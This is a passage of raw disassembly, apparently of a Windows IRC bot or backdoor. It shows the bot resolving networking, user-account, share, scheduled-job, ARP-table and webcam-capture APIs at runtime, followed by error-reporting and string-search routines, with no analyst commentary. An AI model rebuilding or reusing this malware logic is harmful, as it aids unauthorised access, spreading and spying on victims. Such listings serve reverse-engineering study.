		push	offset aListen	; "listen"
		push	edi
		mov	dword_43F650, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_43F690, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_43F6FC, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_43F648, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_43F60C, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_43F67C, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_43F6EC, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_43F620, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_43F5C4, eax
		call	esi
		cmp	dword_43F5E0, ebx
		mov	dword_43F700, eax
		jz	loc_409FD6
		cmp	dword_43F70C, ebx
		jz	loc_409FD6
		cmp	dword_43F584, ebx
		jz	loc_409FD6
		cmp	dword_43F614, ebx
		jz	loc_409FD6
		cmp	dword_43F5FC, ebx
		jz	loc_409FD6
		cmp	dword_43F5C8, ebx
		jz	loc_409FD6
		cmp	dword_43F6E8, ebx
		jz	loc_409FD6
		cmp	dword_43F704, ebx
		jz	loc_409FD6
		cmp	dword_43F610, ebx
		jz	loc_409FD6
		cmp	dword_43F6F4, ebx
		jz	loc_409FD6
		cmp	dword_43F6A8, ebx
		jz	loc_409FD6
		cmp	dword_43F668, ebx
		jz	loc_409FD6
		cmp	dword_43F664, ebx
		jz	loc_409FD6
		cmp	dword_43F5A4, ebx
		jz	short loc_409FD6
		cmp	dword_43F6B8, ebx
		jz	short loc_409FD6
		cmp	dword_43F6CC, ebx
		jz	short loc_409FD6
		cmp	dword_43F680, ebx
		jz	short loc_409FD6
		cmp	dword_43F640, ebx
		jz	short loc_409FD6
		cmp	dword_43F694, ebx
		jz	short loc_409FD6
		cmp	dword_43F650, ebx
		jz	short loc_409FD6
		cmp	dword_43F690, ebx
		jz	short loc_409FD6
		cmp	dword_43F6FC, ebx
		jz	short loc_409FD6
		cmp	dword_43F648, ebx
		jz	short loc_409FD6
		cmp	dword_43F60C, ebx
		jz	short loc_409FD6
		cmp	dword_43F67C, ebx
		jz	short loc_409FD6
		cmp	dword_43F6EC, ebx
		jz	short loc_409FD6
		cmp	dword_43F620, ebx
		jz	short loc_409FD6
		cmp	eax, ebx
		jnz	short loc_409FE0
		jmp	short loc_409FD6
; ---------------------------------------------------------------------------


loc_409FCB:				; CODE XREF: sub_40981F+501j
		call	near ptr 2640A83h
		nop
		mov	dword_43F74C, eax


loc_409FD6:				; CODE XREF: sub_40981F+6A0j
					; sub_40981F+6ACj ...
		mov	dword_43F748, 1


loc_409FE0:				; CODE XREF: sub_40981F+7A8j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A0E5
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_43F5AC, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_43F538, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_43F630, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_43F5E4, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_43F63C, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_43F600, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_43F578, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_43F570, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_43F580, eax
		call	esi
		cmp	dword_43F5AC, ebx
		mov	ecx, dword_43F600
		mov	dword_43F69C, eax
		jz	short loc_40A0C1
		cmp	dword_43F538, ebx
		jz	short loc_40A0C1
		cmp	dword_43F630, ebx
		jz	short loc_40A0C1
		cmp	dword_43F5E4, ebx
		jz	short loc_40A0C1
		cmp	dword_43F63C, ebx
		jz	short loc_40A0C1
		cmp	ecx, ebx
		jz	short loc_40A0C1
		cmp	dword_43F578, ebx
		jz	short loc_40A0C1
		cmp	dword_43F570, ebx
		jz	short loc_40A0C1
		cmp	dword_43F580, ebx
		jz	short loc_40A0C1
		cmp	eax, ebx
		jnz	short loc_40A0CB


loc_40A0C1:				; CODE XREF: sub_40981F+860j
					; sub_40981F+868j ...
		mov	dword_43F750, 1


loc_40A0CB:				; CODE XREF: sub_40981F+8A0j
		cmp	ecx, ebx
		jz	short loc_40A100
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_43F618, eax
		jnz	short loc_40A100
		jmp	short loc_40A0FA
; ---------------------------------------------------------------------------


loc_40A0E5:				; CODE XREF: sub_40981F+7CCj
		nop
		call	near ptr 2640A83h
		mov	dword_43F754, eax
		mov	dword_43F750, 1


loc_40A0FA:				; CODE XREF: sub_40981F+8C4j
		mov	dword_43F618, ebx


loc_40A100:				; CODE XREF: sub_40981F+8AEj
					; sub_40981F+8C2j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A14A
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_43F5F4, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_43F720, eax
		call	esi
		cmp	dword_43F5F4, ebx
		mov	dword_43F58C, eax
		jz	short loc_40A155
		cmp	dword_43F720, ebx
		jz	short loc_40A155
		cmp	eax, ebx
		jnz	short loc_40A15F
		jmp	short loc_40A155
; ---------------------------------------------------------------------------


loc_40A14A:				; CODE XREF: sub_40981F+8ECj
		nop
		call	near ptr 2640A83h
		mov	dword_43F75C, eax


loc_40A155:				; CODE XREF: sub_40981F+91Bj
					; sub_40981F+923j ...
		mov	dword_43F758, 1


loc_40A15F:				; CODE XREF: sub_40981F+927j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A255
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_43F568, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_43F540, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_43F5B4, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_43F5E8, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_43F6F8, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_43F5A0, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_43F54C, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_43F53C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_43F5D0, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_43F6C0, eax
		call	esi
		cmp	dword_43F568, ebx
		mov	dword_43F678, eax
		jz	short loc_40A260
		cmp	dword_43F540, ebx
		jz	short loc_40A260
		cmp	dword_43F5B4, ebx
		jz	short loc_40A260
		cmp	dword_43F5E8, ebx
		jz	short loc_40A260
		cmp	dword_43F6F8, ebx
		jz	short loc_40A260
		cmp	dword_43F5A0, ebx
		jz	short loc_40A260
		cmp	dword_43F54C, ebx
		jz	short loc_40A260
		cmp	dword_43F53C, ebx
		jz	short loc_40A260
		cmp	dword_43F5D0, ebx
		jz	short loc_40A260
		cmp	dword_43F6C0, ebx
		jz	short loc_40A260
		cmp	eax, ebx
		jnz	short loc_40A26A
		jmp	short loc_40A260
; ---------------------------------------------------------------------------


loc_40A255:				; CODE XREF: sub_40981F+94Bj
		nop
		call	near ptr 2640A83h
		mov	dword_43F764, eax


loc_40A260:				; CODE XREF: sub_40981F+9E6j
					; sub_40981F+9EEj ...
		mov	dword_43F760, 1


loc_40A26A:				; CODE XREF: sub_40981F+A32j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A29F
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_43F590, eax
		call	esi
		cmp	dword_43F590, ebx
		mov	dword_43F660, eax
		jz	short loc_40A2AA
		cmp	eax, ebx
		jnz	short loc_40A2B4
		jmp	short loc_40A2AA
; ---------------------------------------------------------------------------


loc_40A29F:				; CODE XREF: sub_40981F+A56j
		call	near ptr 2640A83h
		nop
		mov	dword_43F76C, eax


loc_40A2AA:				; CODE XREF: sub_40981F+A78j
					; sub_40981F+A7Ej
		mov	dword_43F768, 1


loc_40A2B4:				; CODE XREF: sub_40981F+A7Cj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A2E9
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_43F6E4, eax
		call	esi
		cmp	dword_43F6E4, ebx
		mov	dword_43F6E0, eax
		jz	short loc_40A2F4
		cmp	eax, ebx
		jnz	short loc_40A2FE
		jmp	short loc_40A2F4
; ---------------------------------------------------------------------------


loc_40A2E9:				; CODE XREF: sub_40981F+AA0j
		nop
		call	near ptr 2640A83h
		mov	dword_43F774, eax


loc_40A2F4:				; CODE XREF: sub_40981F+AC2j
					; sub_40981F+AC8j
		mov	dword_43F770, 1


loc_40A2FE:				; CODE XREF: sub_40981F+AC6j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A35D
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_43F710, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_43F708, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_43F6D0, eax
		call	esi
		cmp	dword_43F710, ebx
		mov	dword_43F5A8, eax
		jz	short loc_40A368
		cmp	dword_43F708, ebx
		jz	short loc_40A368
		cmp	dword_43F6D0, ebx
		jz	short loc_40A368
		cmp	eax, ebx
		jnz	short loc_40A372
		jmp	short loc_40A368
; ---------------------------------------------------------------------------


loc_40A35D:				; CODE XREF: sub_40981F+AEAj
		call	near ptr 2640A83h
		nop
		mov	dword_43F77C, eax


loc_40A368:				; CODE XREF: sub_40981F+B26j
					; sub_40981F+B2Ej ...
		mov	dword_43F778, 1


loc_40A372:				; CODE XREF: sub_40981F+B3Aj
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A3A7
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_43F5DC, eax
		call	esi
		cmp	dword_43F5DC, ebx
		mov	dword_43F6DC, eax
		jz	short loc_40A3B2
		cmp	eax, ebx
		jnz	short loc_40A3BC
		jmp	short loc_40A3B2
; ---------------------------------------------------------------------------


loc_40A3A7:				; CODE XREF: sub_40981F+B5Ej
		call	near ptr 2640A83h
		nop
		mov	dword_43F784, eax


loc_40A3B2:				; CODE XREF: sub_40981F+B80j
					; sub_40981F+B86j
		mov	dword_43F780, 1


loc_40A3BC:				; CODE XREF: sub_40981F+B84j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A445
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_43F6A4, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_43F6F0, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_43F62C, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_43F5EC, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_43F684, eax
		call	esi
		cmp	dword_43F6A4, ebx
		mov	dword_43F5F8, eax
		jz	short loc_40A450
		cmp	dword_43F6F0, ebx
		jz	short loc_40A450
		cmp	dword_43F62C, ebx
		jz	short loc_40A450
		cmp	dword_43F5EC, ebx
		jz	short loc_40A450
		cmp	dword_43F684, ebx
		jz	short loc_40A450
		cmp	eax, ebx
		jnz	short loc_40A45A
		jmp	short loc_40A450
; ---------------------------------------------------------------------------


loc_40A445:				; CODE XREF: sub_40981F+BA8j
		call	near ptr 2640A83h
		nop
		mov	dword_43F78C, eax


loc_40A450:				; CODE XREF: sub_40981F+BFEj
					; sub_40981F+C06j ...
		mov	dword_43F788, 1


loc_40A45A:				; CODE XREF: sub_40981F+C22j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A48F
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_43F5C0, eax
		call	esi
		cmp	dword_43F5C0, ebx
		mov	dword_43F698, eax
		jz	short loc_40A49A
		cmp	eax, ebx
		jnz	short loc_40A4A4
		jmp	short loc_40A49A
; ---------------------------------------------------------------------------


loc_40A48F:				; CODE XREF: sub_40981F+C46j
		call	near ptr 2640A83h
		nop
		mov	dword_43F794, eax


loc_40A49A:				; CODE XREF: sub_40981F+C68j
					; sub_40981F+C6Ej
		mov	dword_43F790, 1


loc_40A4A4:				; CODE XREF: sub_40981F+C6Cj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40981F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A4AC	proc near		; CODE XREF: sub_40EE72+57D1p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_43F728, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A4F4
		push	dword_43F72C
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A4F4:				; CODE XREF: sub_40A4AC+1Aj
		cmp	dword_43F730, esi
		jz	short loc_40A528
		push	dword_43F734
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A528:				; CODE XREF: sub_40A4AC+4Ej
		cmp	dword_43F738, esi
		jz	short loc_40A55C
		push	dword_43F73C
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A55C:				; CODE XREF: sub_40A4AC+82j
		cmp	dword_43F740, esi
		jz	short loc_40A590
		push	dword_43F744
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A590:				; CODE XREF: sub_40A4AC+B6j
		cmp	dword_43F748, esi
		jz	short loc_40A5C4
		push	dword_43F74C
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A5C4:				; CODE XREF: sub_40A4AC+EAj
		cmp	dword_43F750, esi
		jz	short loc_40A5F8
		push	dword_43F754
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A5F8:				; CODE XREF: sub_40A4AC+11Ej
		cmp	dword_43F758, esi
		jz	short loc_40A62C
		push	dword_43F75C
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A62C:				; CODE XREF: sub_40A4AC+152j
		cmp	dword_43F760, esi
		jz	short loc_40A660
		push	dword_43F764
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A660:				; CODE XREF: sub_40A4AC+186j
		cmp	dword_43F768, esi
		jz	short loc_40A694
		push	dword_43F76C
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A694:				; CODE XREF: sub_40A4AC+1BAj
		cmp	dword_43F770, esi
		jz	short loc_40A6C8
		push	dword_43F774
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A6C8:				; CODE XREF: sub_40A4AC+1EEj
		cmp	dword_43F778, esi
		jz	short loc_40A6FC
		push	dword_43F77C
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A6FC:				; CODE XREF: sub_40A4AC+222j
		cmp	dword_43F780, esi
		jz	short loc_40A730
		push	dword_43F784
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A730:				; CODE XREF: sub_40A4AC+256j
		cmp	dword_43F788, esi
		jz	short loc_40A764
		push	dword_43F78C
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A764:				; CODE XREF: sub_40A4AC+28Aj
		cmp	dword_43F790, esi
		jz	short loc_40A798
		push	dword_43F794
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A798:				; CODE XREF: sub_40A4AC+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D764
		push	eax
		call	sub_4172AE
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40A7C5
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_40A7C5:				; CODE XREF: sub_40A4AC+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A4AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7D7	proc near		; CODE XREF: sub_40EE72+C5Ep
					; sub_40EE72+C92p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_40A862
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_40A862
		cmp	[ebp+arg_8], esi
		jz	short loc_40A862
		cmp	byte ptr [eax],	0
		jz	short loc_40A862
		push	ebx
		push	edi
		call	sub_42274B
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_40A85D
		push	[ebp+arg_4]
		push	edi
		call	sub_417880
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40A856
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_418C10
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_417AB0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_418DE0
		push	[ebp+arg_4]
		call	sub_417AB0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_4179D0
		push	ebx
		push	edi
		call	sub_4179C0
		add	esp, 30h
		mov	esi, edi


loc_40A856:				; CODE XREF: sub_40A7D7+3Cj
		push	ebx
		call	sub_417C3B
		pop	ecx


loc_40A85D:				; CODE XREF: sub_40A7D7+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_40A864
; ---------------------------------------------------------------------------


loc_40A862:				; CODE XREF: sub_40A7D7+Cj
					; sub_40A7D7+13j ...
		xor	eax, eax


loc_40A864:				; CODE XREF: sub_40A7D7+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40A7D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A868	proc near		; CODE XREF: sub_40ECFA+E9p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_417330
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_417AB0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_40A89E


loc_40A899:				; DATA XREF: ___:00428424o
					; ___:00428468o ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_40A911
; ---------------------------------------------------------------------------


loc_40A89E:				; CODE XREF: sub_40A868+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_40A8C0


loc_40A8AA:				; CODE XREF: sub_40A868+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_40A8B7
		cmp	dl, 0Dh
		jnz	short loc_40A8BB


loc_40A8B7:				; CODE XREF: sub_40A868+48j
		and	byte ptr [ecx+esi], 0


loc_40A8BB:				; CODE XREF: sub_40A868+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_40A8AA


loc_40A8C0:				; CODE XREF: sub_40A868+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_40A8F1
		lea	edi, [ebp+var_7CC]


loc_40A8CD:				; CODE XREF: sub_40A868+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_40A8EC
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_40A8EC
		cmp	ebx, 1F4h
		jge	short loc_40A8F1
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_40A8EC:				; CODE XREF: sub_40A868+69j
					; sub_40A868+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_40A8CD


loc_40A8F1:				; CODE XREF: sub_40A868+5Dj
					; sub_40A868+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_40A90F
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_417390
		add	esp, 0Ch


loc_40A90F:				; CODE XREF: sub_40A868+8Ej
		mov	eax, ebx


loc_40A911:				; CODE XREF: sub_40A868+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_40A868	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A915	proc near		; CODE XREF: sub_40A96F+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_40A94E
		push	ebx
		mov	ebx, edi


loc_40A932:				; CODE XREF: sub_40A915+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_40A951
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_40A932
		pop	ebx


loc_40A94E:				; CODE XREF: sub_40A915+18j
		pop	edi
		pop	esi
		retn
sub_40A915	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A951	proc near		; CODE XREF: sub_40A915+25p
					; sub_40A96F+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_419101
		cmp	al, 61h
		pop	ecx
		jl	short loc_40A96C
		cmp	al, 7Ah
		jg	short loc_40A96C
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_40A96C:				; CODE XREF: sub_40A951+Ej
					; sub_40A951+12j
		xor	eax, eax
		retn
sub_40A951	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A96F	proc near		; CODE XREF: sub_40C04D+10p
					; sub_40C07F+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_417B30
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_417AB0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_417AB0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_40A915
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_40A9AD:				; CODE XREF: sub_40A96F+B6j
		test	esi, esi
		jle	short loc_40AA2B
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_419101
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_419101
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40AA23


loc_40A9D3:				; CODE XREF: sub_40A96F+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_40A951
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_40A9F4
		mov	eax, ecx


loc_40A9F4:				; CODE XREF: sub_40A96F+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_40AA27
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_419101
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_419101
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
